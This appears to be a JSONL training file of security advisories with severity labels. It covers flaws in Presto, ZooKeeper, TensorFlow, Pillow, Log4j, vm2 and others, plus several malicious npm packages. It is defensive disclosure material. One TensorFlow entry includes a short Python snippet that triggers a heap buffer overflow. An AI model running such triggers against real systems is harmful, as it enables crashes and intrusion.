-{"id": "47c20b5deea2d6d67697", "text": "Privilege escalation in Presto\n\n### Affected\nThis affects Presto server installations. This does NOT affect clients such as the CLI or JDBC driver.\n\n### Impact\nAuthenticated users can bypass authorization checks by directly accessing internal APIs. This impacts Presto server installations with secure internal communication configured.\n\nThis does not affect installations that have not configured secure internal communication, as these installations are inherently insecure.\n\n### Patches\nThis issue has been fixed starting with PrestoSQL version 337.\n\n### Workarounds\nThis issue can be mitigated by blocking network access to internal APIs on the coordinator and workers.\n\n### References\nSee the Presto documentation for [Secure Internal Communication](https://trino.io/docs/current/security/internal-communication.html).\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Join the **#security** channel on [Slack](https://trino.io/slack.html).\n* Contact the security team at [security@trino.io](mailto:security@trino.io)", "text_raw": "Privilege escalation in Presto\n\n[Severity: HIGH]\n\n### Affected\nThis affects Presto server installations. This does NOT affect clients such as the CLI or JDBC driver.\n\n### Impact\nAuthenticated users can bypass authorization checks by directly accessing internal APIs. This impacts Presto server installations with secure internal communication configured.\n\nThis does not affect installations that have not configured secure internal communication, as these installations are inherently insecure.\n\n### Patches\nThis issue has been fixed starting with PrestoSQL version 337.\n\n### Workarounds\nThis issue can be mitigated by blocking network access to internal APIs on the coordinator and workers. \n\n### References\nSee the Presto documentation for [Secure Internal Communication](https://trino.io/docs/current/security/internal-communication.html).\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Join the **#security** channel on [Slack](https://trino.io/slack.html).\n* Contact the security team at [security@trino.io](mailto:security@trino.io)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-06-30", "split": "train"}
-{"id": "f8e60405062ead02ea7a", "text": "Access control bypass in Apache ZooKeeper\n\nAn issue is present in Apache ZooKeeper 1.0.0 to 3.4.13 and 3.5.0-alpha to 3.5.4-beta. ZooKeeper?s getACL() command doesn?t check any permission when retrieves the ACLs of the requested node and returns all information contained in the ACL Id field as plaintext string. DigestAuthenticationProvider overloads the Id field with the hash value that is used for user authentication. As a consequence, if Digest Authentication is in use, the unsalted hash value will be disclosed by getACL() request for unauthenticated or unprivileged users.", "text_raw": "Access control bypass in Apache ZooKeeper\n\n[Severity: MEDIUM]\n\nAn issue is present in Apache ZooKeeper 1.0.0 to 3.4.13 and 3.5.0-alpha to 3.5.4-beta. ZooKeeper?s getACL() command doesn?t check any permission when retrieves the ACLs of the requested node and returns all information contained in the ACL Id field as plaintext string. DigestAuthenticationProvider overloads the Id field with the hash value that is used for user authentication. As a consequence, if Digest Authentication is in use, the unsalted hash value will be disclosed by getACL() request for unauthenticated or unprivileged users.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-05-29", "split": "train"}
-{"id": "ff3902309d8fb9981088", "text": "Adobe Photoshop CS4 Extended 11.0 ASL File Handling Remote Buffer Overflow PoC", "text_raw": "Adobe Photoshop CS4 Extended 11.0 ASL File Handling Remote Buffer Overflow PoC\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2010-05-26", "split": "train"}
-{"id": "ace349247456227ac847", "text": "Heap buffer overflow in `QuantizedResizeBilinear`\n\n### Impact\nAn attacker can cause a heap buffer overflow in `QuantizedResizeBilinear` by passing in invalid thresholds for the quantization:\n\n```python\nimport tensorflow as tf\n\nimages = tf.constant([], shape=[0], dtype=tf.qint32)\nsize = tf.constant([], shape=[0], dtype=tf.int32) \nmin = tf.constant([], dtype=tf.float32)\nmax = tf.constant([], dtype=tf.float32)\n\ntf.raw_ops.QuantizedResizeBilinear(images=images, size=size, min=min, max=max, align_corners=False, half_pixel_centers=False)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/50711818d2e61ccce012591eeb4fdf93a8496726/tensorflow/core/kernels/quantized_resize_bilinear_op.cc#L705-L706) assumes that the 2 arguments are always valid scalars and tries to access the numeric value directly:\n\n```cc\nconst float in_min = context->input(2).flat<float>()(0);\nconst float in_max = context->input(3).flat<float>()(0);\n```\n\nHowever, if any of these tensors is empty, then `.flat<T>()` is an empty buffer and accessing the element at position 0 results in overflow.\n\n### Patches \nWe have patched the issue in GitHub commit [f6c40f0c6cbf00d46c7717a26419f2062f2f8694](https://github.com/tensorflow/tensorflow/commit/f6c40f0c6cbf00d46c7717a26419f2062f2f8694).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.", "text_raw": "Heap buffer overflow in `QuantizedResizeBilinear`\n\n[Severity: LOW]\n\n### Impact\nAn attacker can cause a heap buffer overflow in `QuantizedResizeBilinear` by passing in invalid thresholds for the quantization:\n\n```python\nimport tensorflow as tf\n\nimages = tf.constant([], shape=[0], dtype=tf.qint32)\nsize = tf.constant([], shape=[0], dtype=tf.int32) \nmin = tf.constant([], dtype=tf.float32)\nmax = tf.constant([], dtype=tf.float32)\n\ntf.raw_ops.QuantizedResizeBilinear(images=images, size=size, min=min, max=max, align_corners=False, half_pixel_centers=False)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/50711818d2e61ccce012591eeb4fdf93a8496726/tensorflow/core/kernels/quantized_resize_bilinear_op.cc#L705-L706) assumes that the 2 arguments are always valid scalars and tries to access the numeric value directly:\n\n```cc\nconst float in_min = context->input(2).flat<float>()(0);\nconst float in_max = context->input(3).flat<float>()(0);\n```\n\nHowever, if any of these tensors is empty, then `.flat<T>()` is an empty buffer and accessing the element at position 0 results in overflow.\n\n### Patches \nWe have patched the issue in GitHub commit [f6c40f0c6cbf00d46c7717a26419f2062f2f8694](https://github.com/tensorflow/tensorflow/commit/f6c40f0c6cbf00d46c7717a26419f2062f2f8694).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "002ab5d15e506717f5c2", "text": "Pomelo allows external control of critical state data\n\nPomelo v2.2.5 allows external control of critical state data. A malicious user input can corrupt arbitrary methods and attributes in `template/game-server/app/servers/connector/handler/entryHandler.js` because certain internal attributes can be overwritten via a conflicting name. Hence, a malicious attacker can manipulate internal attributes by adding additional attributes to user input.", "text_raw": "Pomelo allows external control of critical state data\n\n[Severity: MEDIUM]\n\nPomelo v2.2.5 allows external control of critical state data. A malicious user input can corrupt arbitrary methods and attributes in `template/game-server/app/servers/connector/handler/entryHandler.js` because certain internal attributes can be overwritten via a conflicting name. Hence, a malicious attacker can manipulate internal attributes by adding additional attributes to user input.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-12-02", "split": "train"}
-{"id": "2ab3e0ebc90c4a9a25a0", "text": "ReDOS in Mpmath\n\nA Regular Expression Denial of Service (ReDOS) vulnerability was discovered in Mpmath v1.0.0 when the mpmathify function is called.", "text_raw": "ReDOS in Mpmath\n\n[Severity: HIGH]\n\nA Regular Expression Denial of Service (ReDOS) vulnerability was discovered in Mpmath v1.0.0 when the mpmathify function is called.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-09", "split": "train"}
-{"id": "727bd63204b5a6a361f8", "text": "Unauthorized access through URL manipulation\n\n### Impact\nThe vulnerability allows attackers to gain unauthorized access to information on the system through URL manipulation.\n\n### Patches\nThe vulnerability has been patched in version 1.2.65 of the `master` branch, version 1.1.113 of the 1.1.x series, and version 1.0.12 of the `stable` branch. The Docker image on docker.io has been patched.\n\n### Workarounds\nIf upgrading is not possible, manually apply the changes of https://github.com/jhpyle/docassemble/commit/e3dbf6ce054b3c0310996f0657289f5eed0a73fe and restart the server (e.g., by pressing Save on the Configuration screen).\n\n### Credit\nThe vulnerability was discovered by Jim Platania of Seiso LLC (@jimmio).\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [docassemble](https://github.com/jhpyle/docassemble/issues)\n* Join the [Slack channel](https://join.slack.com/t/docassemble/shared_invite/zt-ohrn8y9z-_Fb3RAl~JPBU6Km7odBPfQ)\n* Email us at [jhpyle@gmail.com](mailto:jhpyle@gmail.com)", "text_raw": "Unauthorized access through URL manipulation\n\n[Severity: HIGH]\n\n### Impact\nThe vulnerability allows attackers to gain unauthorized access to information on the system through URL manipulation.\n\n### Patches\nThe vulnerability has been patched in version 1.2.65 of the `master` branch, version 1.1.113 of the 1.1.x series, and version 1.0.12 of the `stable` branch. The Docker image on docker.io has been patched.\n\n### Workarounds\nIf upgrading is not possible, manually apply the changes of https://github.com/jhpyle/docassemble/commit/e3dbf6ce054b3c0310996f0657289f5eed0a73fe and restart the server (e.g., by pressing Save on the Configuration screen).\n\n### Credit\nThe vulnerability was discovered by Jim Platania of Seiso LLC (@jimmio).\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [docassemble](https://github.com/jhpyle/docassemble/issues)\n* Join the [Slack channel](https://join.slack.com/t/docassemble/shared_invite/zt-ohrn8y9z-_Fb3RAl~JPBU6Km7odBPfQ)\n* Email us at [jhpyle@gmail.com](mailto:jhpyle@gmail.com)\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-06", "split": "train"}
-{"id": "302f3f4a40bb9f4a6e7d", "text": "Malicious Package in buffur-xor\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "text_raw": "Malicious Package in buffur-xor\n\n[Severity: CRITICAL]\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "17adfb585df6c5a01e3c", "text": "Improper Input Validation in Apache Archiva\n\nIn Apache Archiva 2.0.0 - 2.2.3, it is possible to write files to the archiva server at arbitrary locations by using the artifact upload mechanism. Existing files can be overwritten, if the archiva run user has appropriate permission on the filesystem for the target file.", "text_raw": "Improper Input Validation in Apache Archiva\n\n[Severity: MEDIUM]\n\nIn Apache Archiva 2.0.0 - 2.2.3, it is possible to write files to the archiva server at arbitrary locations by using the artifact upload mechanism. Existing files can be overwritten, if the archiva run user has appropriate permission on the filesystem for the target file.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-05-14", "split": "train"}
-{"id": "c8f190d777173a9460fd", "text": "WEMS Enterprise Manager 2.58 (email) Reflected XSS", "text_raw": "WEMS Enterprise Manager 2.58 (email) Reflected XSS\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2019-12-29", "split": "train"}
-{"id": "06a9e30493536f10fc68", "text": "Command Injection in npm-programmatic\n\nAll versions of `npm-programmatic ` are vulnerable to Command Injection. The package fails to sanitize input rules and passes it directly to an `exec` call on the `install`, `uninstall` and `list` functions . This may allow attackers to execute arbitrary code in the system if the package name passed to the function is user-controlled.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "text_raw": "Command Injection in npm-programmatic\n\n[Severity: CRITICAL]\n\nAll versions of `npm-programmatic ` are vulnerable to Command Injection. The package fails to sanitize input rules and passes it directly to an `exec` call on the `install`, `uninstall` and `list` functions . This may allow attackers to execute arbitrary code in the system if the package name passed to the function is user-controlled.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-04-23", "split": "train"}
-{"id": "07fc794ce906cddc0598", "text": "Inconsistent Interpretation of HTTP Requests in github.com/gin-gonic/gin\n\nWhen gin is exposed directly to the internet, a client's IP can be spoofed by setting the X-Forwarded-For header. This affects all versions of package github.com/gin-gonic/gin under 1.7.7.", "text_raw": "Inconsistent Interpretation of HTTP Requests in github.com/gin-gonic/gin\n\n[Severity: HIGH]\n\nWhen gin is exposed directly to the internet, a client's IP can be spoofed by setting the X-Forwarded-For header. This affects all versions of package github.com/gin-gonic/gin under 1.7.7. ", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-23", "split": "train"}
-{"id": "326545976640d5ed4fbe", "text": "Malicious Package in rceat\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in rceat\n\n[Severity: CRITICAL]\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "7997ecee806f8f5276bf", "text": "Unexpected panic in multihash\n\nIn versions prior 0.11.3 it's possible to make from_slice panic by feeding it certain malformed input. It's never documented that from_slice (and from_bytes which wraps it) can panic, and its' return type (Result<Self, DecodeError>) suggests otherwise. In practice, from_slice/from_bytes is frequently used in networking code and is being called with unsanitized data from untrusted sources. This can allow attackers to cause DoS by causing an unexpected panic in the network client's code..", "text_raw": "Unexpected panic in multihash\n\n[Severity: HIGH]\n\nIn versions prior 0.11.3 it's possible to make from_slice panic by feeding it certain malformed input. It's never documented that from_slice (and from_bytes which wraps it) can panic, and its' return type (Result<Self, DecodeError>) suggests otherwise. In practice, from_slice/from_bytes is frequently used in networking code and is being called with unsanitized data from untrusted sources. This can allow attackers to cause DoS by causing an unexpected panic in the network client's code..", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "9f021cb6fda98b0bc4ab", "text": "A poorly-behaved client could use keepalive requests to monopolize Puma's reactor and create a denial of service attack\n\n## Keepalive thread overload/DoS\n\n### Impact\n\nA poorly-behaved client could use keepalive requests to monopolize Puma's reactor and create a denial of service attack.\n\nIf more keepalive connections to Puma are opened than there are threads available, additional connections will wait permanently if the attacker sends requests frequently enough.\n\n### Patches\n\nThis vulnerability is patched in Puma 4.3.1 and 3.12.2.\n\n### Workarounds\n\nReverse proxies in front of Puma could be configured to always allow less than X keepalive connections to a Puma cluster or process, where X is the number of threads configured in Puma's thread pool.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Open an issue at [puma](github.com/puma/puma).", "text_raw": "A poorly-behaved client could use keepalive requests to monopolize Puma's reactor and create a denial of service attack\n\n[Severity: MEDIUM]\n\n## Keepalive thread overload/DoS\n\n### Impact\n\nA poorly-behaved client could use keepalive requests to monopolize Puma's reactor and create a denial of service attack.\n\nIf more keepalive connections to Puma are opened than there are threads available, additional connections will wait permanently if the attacker sends requests frequently enough.\n\n### Patches\n\nThis vulnerability is patched in Puma 4.3.1 and 3.12.2.\n\n### Workarounds\n\nReverse proxies in front of Puma could be configured to always allow less than X keepalive connections to a Puma cluster or process, where X is the number of threads configured in Puma's thread pool.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Open an issue at [puma](github.com/puma/puma).", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-12-05", "split": "train"}
-{"id": "0c795d7a1ec7374cc46c", "text": "Elliptic Curve Key Disclosure in go-jose\n\ngo-jose before 1.0.4 suffers from an invalid curve attack for the ECDH-ES algorithm. When deriving a shared key using ECDH-ES for an encrypted message, go-jose neglected to check that the received public key on a message is on the same curve as the static private key of the receiver, thus making it vulnerable to an invalid curve attack.", "text_raw": "Elliptic Curve Key Disclosure in go-jose\n\n[Severity: CRITICAL]\n\ngo-jose before 1.0.4 suffers from an invalid curve attack for the ECDH-ES algorithm. When deriving a shared key using ECDH-ES for an encrypted message, go-jose neglected to check that the received public key on a message is on the same curve as the static private key of the receiver, thus making it vulnerable to an invalid curve attack.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-06-23", "split": "train"}
-{"id": "e23515efbf61498ff69e", "text": "Pillow Denial of Service by Uncontrolled Resource Consumption\n\nPillow before 8.1.2 allows attackers to cause a denial of service (memory consumption) because the reported size of a contained image is not properly checked for a BLP container, and thus an attempted memory allocation can be very large.", "text_raw": "Pillow Denial of Service by Uncontrolled Resource Consumption\n\n[Severity: HIGH]\n\nPillow before 8.1.2 allows attackers to cause a denial of service (memory consumption) because the reported size of a contained image is not properly checked for a BLP container, and thus an attempted memory allocation can be very large.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-18", "split": "train"}
-{"id": "53359e3fd29f9b70ef55", "text": "org.apache.hive:hive, org.apache.hive:hive-exec, and org.apache.hive:hive-service vulnerable to Improper Certificate Validation\n\nApache Hive (JDBC + HiveServer2) implements SSL for plain TCP and HTTP connections (it supports both transport modes). While validating the server's certificate during the connection setup, the client in Apache Hive before 1.2.2 and 2.0.x before 2.0.1 doesn't seem to be verifying the common name attribute of the certificate. In this way, if a JDBC client sends an SSL request to server abc.com, and the server responds with a valid certificate (certified by CA) but issued to xyz.com, the client will accept that as a valid certificate and the SSL handshake will go through.", "text_raw": "org.apache.hive:hive, org.apache.hive:hive-exec, and org.apache.hive:hive-service vulnerable to Improper Certificate Validation \n\n[Severity: HIGH]\n\nApache Hive (JDBC + HiveServer2) implements SSL for plain TCP and HTTP connections (it supports both transport modes). While validating the server's certificate during the connection setup, the client in Apache Hive before 1.2.2 and 2.0.x before 2.0.1 doesn't seem to be verifying the common name attribute of the certificate. In this way, if a JDBC client sends an SSL request to server abc.com, and the server responds with a valid certificate (certified by CA) but issued to xyz.com, the client will accept that as a valid certificate and the SSL handshake will go through.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-03-14", "split": "train"}
-{"id": "53c7c82af92b8cf48549", "text": "Man-in-the-middle attack in Apache Cassandra\n\nIn Apache Cassandra, all versions prior to 2.1.22, 2.2.18, 3.0.22, 3.11.8 and 4.0-beta2, it is possible for a local attacker without access to the Apache Cassandra process or configuration files to manipulate the RMI registry to perform a man-in-the-middle attack and capture user names and passwords used to access the JMX interface. The attacker can then use these credentials to access the JMX interface and perform unauthorised operations. Users should also be aware of CVE-2019-2684, a JRE vulnerability that enables this issue to be exploited remotely.", "text_raw": "Man-in-the-middle attack in Apache Cassandra\n\n[Severity: MEDIUM]\n\nIn Apache Cassandra, all versions prior to 2.1.22, 2.2.18, 3.0.22, 3.11.8 and 4.0-beta2, it is possible for a local attacker without access to the Apache Cassandra process or configuration files to manipulate the RMI registry to perform a man-in-the-middle attack and capture user names and passwords used to access the JMX interface. The attacker can then use these credentials to access the JMX interface and perform unauthorised operations. Users should also be aware of CVE-2019-2684, a JRE vulnerability that enables this issue to be exploited remotely.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-07", "split": "train"}
-{"id": "fbc0d23aa9560482008c", "text": "Microsoft Desktop Window Manager (DWM) Core Library Privilege Escalation Vulnerability\n\nAffected: Microsoft Windows\n\nMicrosoft Desktop Window Manager (DWM) Core Library contains an unspecified vulnerability that allows for privilege escalation.\n\nRequired Action: Apply updates per vendor instructions.\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft Desktop Window Manager (DWM) Core Library Privilege Escalation Vulnerability\n\nAffected: Microsoft Windows\n\nMicrosoft Desktop Window Manager (DWM) Core Library contains an unspecified vulnerability that allows for privilege escalation.\n\nRequired Action: Apply updates per vendor instructions.\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "ad3017292ace4adbe80f", "text": "Prototype Pollution in vm2\n\nThis affects the package vm2 before 3.9.4. Prototype Pollution attack vector can lead to sandbox escape and execution of arbitrary code on the host machine.", "text_raw": "Prototype Pollution in vm2\n\n[Severity: CRITICAL]\n\nThis affects the package vm2 before 3.9.4. Prototype Pollution attack vector can lead to sandbox escape and execution of arbitrary code on the host machine.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-10-19", "split": "train"}
-{"id": "60a005f626430b14eadd", "text": "A remote code execution vulnerability exists in the way that the ChakraCore scripting engine handles objects in memory, aka 'Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-0609, CVE-2019-0680, CVE-2019-0769, CVE-2019-0770, CVE-2019-0771, CVE-2019-0773, CVE-2019-0783.", "text_raw": "High severity vulnerability that affects Microsoft.ChakraCore\n\n[Severity: HIGH]\n\nA remote code execution vulnerability exists in the way that the ChakraCore scripting engine handles objects in memory, aka 'Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-0609, CVE-2019-0680, CVE-2019-0769, CVE-2019-0770, CVE-2019-0771, CVE-2019-0773, CVE-2019-0783.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-04-09", "split": "train"}
-{"id": "b8e2c9779018f0e15ff2", "text": "Authentication Bypass by Spoofing and Insufficient Verification of Data Authenticity in Hashicorp Vault\n\nHashiCorp Vault and Vault Enterprise versions 0.7.1 and newer, when configured with the AWS IAM auth method, may be vulnerable to authentication bypass. Fixed in 1.2.5, 1.3.8, 1.4.4, and 1.5.1..", "text_raw": "Authentication Bypass by Spoofing and Insufficient Verification of Data Authenticity in Hashicorp Vault\n\n[Severity: HIGH]\n\nHashiCorp Vault and Vault Enterprise versions 0.7.1 and newer, when configured with the AWS IAM auth method, may be vulnerable to authentication bypass. Fixed in 1.2.5, 1.3.8, 1.4.4, and 1.5.1..", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-02", "split": "train"}
-{"id": "fcd947e4a70644cb0674", "text": "AMQP 0-8, 0-9, 0-91, and 0-10 connection handling in Apache Qpid Java before 6.0.3 might allow remote attackers to bypass authentication\n\nThe AMQP 0-8, 0-9, 0-91, and 0-10 connection handling in Apache Qpid Java before 6.0.3 might allow remote attackers to bypass authentication and consequently perform actions via vectors related to connection state logging.", "text_raw": "AMQP 0-8, 0-9, 0-91, and 0-10 connection handling in Apache Qpid Java before 6.0.3 might allow remote attackers to bypass authentication\n\n[Severity: CRITICAL]\n\nThe AMQP 0-8, 0-9, 0-91, and 0-10 connection handling in Apache Qpid Java before 6.0.3 might allow remote attackers to bypass authentication and consequently perform actions via vectors related to connection state logging.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-10-16", "split": "train"}
-{"id": "3d9f46614feabb89536a", "text": "Improper certificate validation in em-imap\n\nem-imap 0.5 and earlier use the library eventmachine in an insecure way that allows an attacker to perform a man-in-the-middle attack against users of the library. The hostname in a TLS server certificate is not verified.", "text_raw": "Improper certificate validation in em-imap\n\n[Severity: HIGH]\n\nem-imap 0.5 and earlier use the library eventmachine in an insecure way that allows an attacker to perform a man-in-the-middle attack against users of the library. The hostname in a TLS server certificate is not verified.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-24", "split": "train"}
-{"id": "cdb443f2a7b35fda6959", "text": "NoSQL Injection in loopback-connector-mongodb\n\nVersions of `loopback-connector-mongodb` prior to 3.6.0 are vulnerable to NoSQL Injection. Filters passed to the database query are not properly sanitized which leads to execution of code on the database driver and data leak.\n\n## Recommendation\n\nUpgrade to version 3.6.0 or later.", "text_raw": "NoSQL Injection in loopback-connector-mongodb\n\n[Severity: HIGH]\n\nVersions of `loopback-connector-mongodb` prior to 3.6.0 are vulnerable to NoSQL Injection. Filters passed to the database query are not properly sanitized which leads to execution of code on the database driver and data leak.\n\n\n## Recommendation\n\nUpgrade to version 3.6.0 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "58fa66991adb42aaf827", "text": "paperclip Cross-site Scripting vulnerability\n\nThe thoughtbot paperclip gem before 4.2.2 for Ruby does not consider the content-type value during media-type validation, which allows remote attackers to upload HTML documents and conduct cross-site scripting (XSS) attacks via a spoofed value, as demonstrated by image/jpeg.", "text_raw": "paperclip Cross-site Scripting vulnerability\n\n[Severity: MEDIUM]\n\nThe thoughtbot paperclip gem before 4.2.2 for Ruby does not consider the content-type value during media-type validation, which allows remote attackers to upload HTML documents and conduct cross-site scripting (XSS) attacks via a spoofed value, as demonstrated by image/jpeg.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "b63a2c72a32967c0f8a9", "text": "SSL Validation Defaults to False in electron-packager\n\nAffected versions of `electron-packager` configure the generated application to disable SSL certificate verification by default.\n\nThis could allow an attacker with a privileged network position to launch a Man In The Middle (MITM) attack on the install process, intercepting the step where electron-packager downloads Electron for supported target platforms and architectures, and replacing the valid download with a tampered malicious one.\n\nThis only affects users using the electron-packager CLI. The strict-ssl option defaults to true for the node.js API.\n\n## Recommendation\n\n1. Update to version 7.0.0 or later.\n2. Delete the `electron-download` cache folder, which is by default located at `~/.electron`.", "text_raw": "SSL Validation Defaults to False in electron-packager\n\n[Severity: LOW]\n\nAffected versions of `electron-packager` configure the generated application to disable SSL certificate verification by default. \n\nThis could allow an attacker with a privileged network position to launch a Man In The Middle (MITM) attack on the install process, intercepting the step where electron-packager downloads Electron for supported target platforms and architectures, and replacing the valid download with a tampered malicious one.\n\nThis only affects users using the electron-packager CLI. The strict-ssl option defaults to true for the node.js API.\n\n\n## Recommendation\n\n1. Update to version 7.0.0 or later.\n2. Delete the `electron-download` cache folder, which is by default located at `~/.electron`.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "ef222d9089e155587604", "text": "Microsoft Windows Privilege Escalation Vulnerability\n\nAffected: Microsoft Windows\n\nMicrosoft Windows contains an unspecified vulnerability due to the way ws2ifsl.sys (Winsock) handles objects in memory, allowing for privilege escalation. Successful exploitation allows an attacker to execute code with elevated privileges.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft Windows Privilege Escalation Vulnerability\n\nAffected: Microsoft Windows\n\nMicrosoft Windows contains an unspecified vulnerability due to the way ws2ifsl.sys (Winsock) handles objects in memory, allowing for privilege escalation. Successful exploitation allows an attacker to execute code with elevated privileges.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "b8da37ad72541a789eda", "text": "Malicious Package in serializes\n\nThis package contained malicious code. The package uploaded system information such as OS and hostname to a remote server.\n\n## Recommendation\n\nRemove the package from your environment. There are no indications of further compromise.", "text_raw": "Malicious Package in serializes\n\n[Severity: CRITICAL]\n\nThis package contained malicious code. The package uploaded system information such as OS and hostname to a remote server.\n\n\n## Recommendation\n\nRemove the package from your environment. There are no indications of further compromise.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "fae3f91219d2049d67f7", "text": "Deserialization of Untrusted Data in Log4j\n\nIncluded in Log4j 1.2 is a SocketServer class that is vulnerable to deserialization of untrusted data which can be exploited to remotely execute arbitrary code when combined with a deserialization gadget when listening to untrusted network traffic for log data. This affects Log4j versions 1.2 up to 1.2.17.\n\nUsers are advised to migrate to `org.apache.logging.log4j:log4j-core`.", "text_raw": "Deserialization of Untrusted Data in Log4j\n\n[Severity: CRITICAL]\n\nIncluded in Log4j 1.2 is a SocketServer class that is vulnerable to deserialization of untrusted data which can be exploited to remotely execute arbitrary code when combined with a deserialization gadget when listening to untrusted network traffic for log data. This affects Log4j versions 1.2 up to 1.2.17.\n\nUsers are advised to migrate to `org.apache.logging.log4j:log4j-core`.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-01-06", "split": "train"}
-{"id": "3042a4b78106ed0d58ac", "text": "Prototype Pollution in the merge and clone helper methods\n\n### Impact\nUsing `merge` and `clone` helper methods in the `src/core/util.ts` module will have prototype pollution. It will affect the popular data visualization library Apache ECharts, which is using and exported these two methods directly.\n\n### Patches\n\nIt has been patched in https://github.com/ecomfe/zrender/pull/826. \nUsers should update zrender to `5.2.1`.  and update echarts to `5.2.1` if project is using echarts.\n\n### References\nNA\n\n### For more information\nNA", "text_raw": "Prototype Pollution in the merge and clone helper methods\n\n[Severity: MEDIUM]\n\n### Impact\nUsing `merge` and `clone` helper methods in the `src/core/util.ts` module will have prototype pollution. It will affect the popular data visualization library Apache ECharts, which is using and exported these two methods directly.\n\n### Patches\n \nIt has been patched in https://github.com/ecomfe/zrender/pull/826. \nUsers should update zrender to `5.2.1`.  and update echarts to `5.2.1` if project is using echarts.\n\n### References\nNA\n\n### For more information\nNA\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-20", "split": "train"}
